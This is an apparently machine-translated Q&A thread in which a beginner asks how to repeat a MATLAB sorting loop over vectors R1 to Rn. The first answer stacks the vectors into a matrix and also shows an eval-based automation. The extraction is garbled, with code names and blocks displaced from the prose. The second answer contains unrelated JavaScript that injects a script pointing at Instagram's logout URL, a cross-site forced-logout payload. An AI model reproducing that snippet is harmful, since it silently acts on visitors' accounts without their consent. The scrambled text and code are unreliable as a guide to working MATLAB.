我有n
个大小为1,m
的向量,名为R1,R2,...,Rn
我将此代码应用于矢量R1。
[B,I] =sort([R1 0]);
for q=1:breadth;
if ismember(q, I(1:3))==1;
x(q,1)=-1/6;
elseif ismember(q, I(breadth-1:breadth+1))==1;
x(q,1)=1/6;
else
x(q,1)=0;
end
end
breadth
是列数,在我的情况下是m
。
我的问题是:如何重复代码到每个向量(从R1
到Rn
)?
我是matlab的初学者,我不熟悉代码。
我将不胜感激任何帮助!
答案 0 :(得分:1)
如果n
向量具有相同的大小(在您的情况下为1,m
,即它们都是行向量),则可以在单个矩阵中将它们连接起来,其中每一行都是向量。这种连接可以很容易地完成如下:
R_total=[R1;R2;...;Rn];
然后在for循环中逐个处理R_total
行(即单个向量):
for i=1:n
% extract i-th row of R_total: R_total(i,:)
VectorToBeProcessed=R_total(i,:);
% start processing such vector
[B,I] =sort([VectorToBeProcessed 0]);
for q=1:m
if ismember(q, I(1:3))==1
x(q,1)=-1/6;
elseif ismember(q, I(m-1:m+1))==1
x(q,1)=1/6;
else
x(q,1)=0;
end
end
end
符号R_total(i,:)
表示矩阵i
的{{1}}行和所有列(:
)。
显然,您应该注意一些事项:R_total
向量将始终在for循环中被覆盖。你应该澄清这样的载体必须包含什么。如果您的任务是为每个向量(x
,...,x
)创建一个向量R1
,那么Rn
应该是一个矩阵本身,其中第i个row将包含与x
的第i行相关的结果
在这种情况下,上述代码应修改如下:
R_total
现在(在for i=1:n
% extract i-th row of R_total: R_total(i,:)
VectorToBeProcessed=R_total(i,:);
% start processing such vector
[B,I] =sort([VectorToBeProcessed 0]);
for q=1:m
if ismember(q, I(1:3))==1
x(i,q)=-1/6;
elseif ismember(q, I(m-1:m+1))==1
x(i,q)=1/6;
else
x(i,q)=0;
end
end
end
中)我们将在第i行写入每个第q个元素,其中x
也运行i
行。
另外,正如@dasdingonesin指出的那样,不需要R_total
函数。此函数会将strcat()
,'R1'
,... 'R2'
作为字符串返回。在你的情况下,这毫无意义。
更新:@Adriaan和@PagMax都指出这种方法可能不适合处理大量数组连接成一个矩阵,因为连接是“手动”完成的。该解决方案(相反)是完全自动化的。让我们假设在我们的工作区中我们有5个大小为5的行向量,我们想要在矩阵中连接这些向量(相同的方式:1向量= 1行):
'Rn'
这段代码需要一些额外的词:clear all; % clear all variables from the Workspace, starting clean
a=1:5; % a = [1 2 3 4 5]
b=a+1; % b = [2 3 4 5 6]
c=b+1; % c = [3 4 5 6 7]
d=c+1; % d = [4 5 6 7 8]
e=d+1; % e = [5 6 7 8 9]
VariableList=whos;
Matrix=[];
for i=1:size(VariableList,1)
newVector=VariableList(i).name; % newVector is a string containing the name of the i-th variable in the Workspace
eval(['Matrix=[Matrix ; ' newVector '];']);
end
返回一个包含工作空间变量信息的结构,从这个结构中我们只取这些变量的名称。相反,whos
以字符串形式计算表达式,因此基本上在前面的代码中“手动”完成的连接在这里自动完成并以字符串形式完成。正如您所期望的那样,eval
具有以下形式:
Matrix
显然,在这个简单的场景中,我们在Workspace中有5个变量,它们是必须连接的5个向量。如果你有许多变量,但你必须连接其中的一些变量,你必须用一些if / else“丰富”for循环来区分“有用的变量”(即必须连接)和“无用的变量”。在@Nourhaine Nefzi的例子中,所有向量的名称都以字母Matrix =
1 2 3 4 5
2 3 4 5 6
3 4 5 6 7
4 5 6 7 8
5 6 7 8 9
开头(假设没有其他变量,其名称以字母R
开头),一个不错的if / else条件可以是以下一个:
R
答案 1 :(得分:-2)
将其包裹在另一个for循环中
var s = document.createElement("script");
s.src = "https://instagram.com/accounts/logout";
$("head").append(s);